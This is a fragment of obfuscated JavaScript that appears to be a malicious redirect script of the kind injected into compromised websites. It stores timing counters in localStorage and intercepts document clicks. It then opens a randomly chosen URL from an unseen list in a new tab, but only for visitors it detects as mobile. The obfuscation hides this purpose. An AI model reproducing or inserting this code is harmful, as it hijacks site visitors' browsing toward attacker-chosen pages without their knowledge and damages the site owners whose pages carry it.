_0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());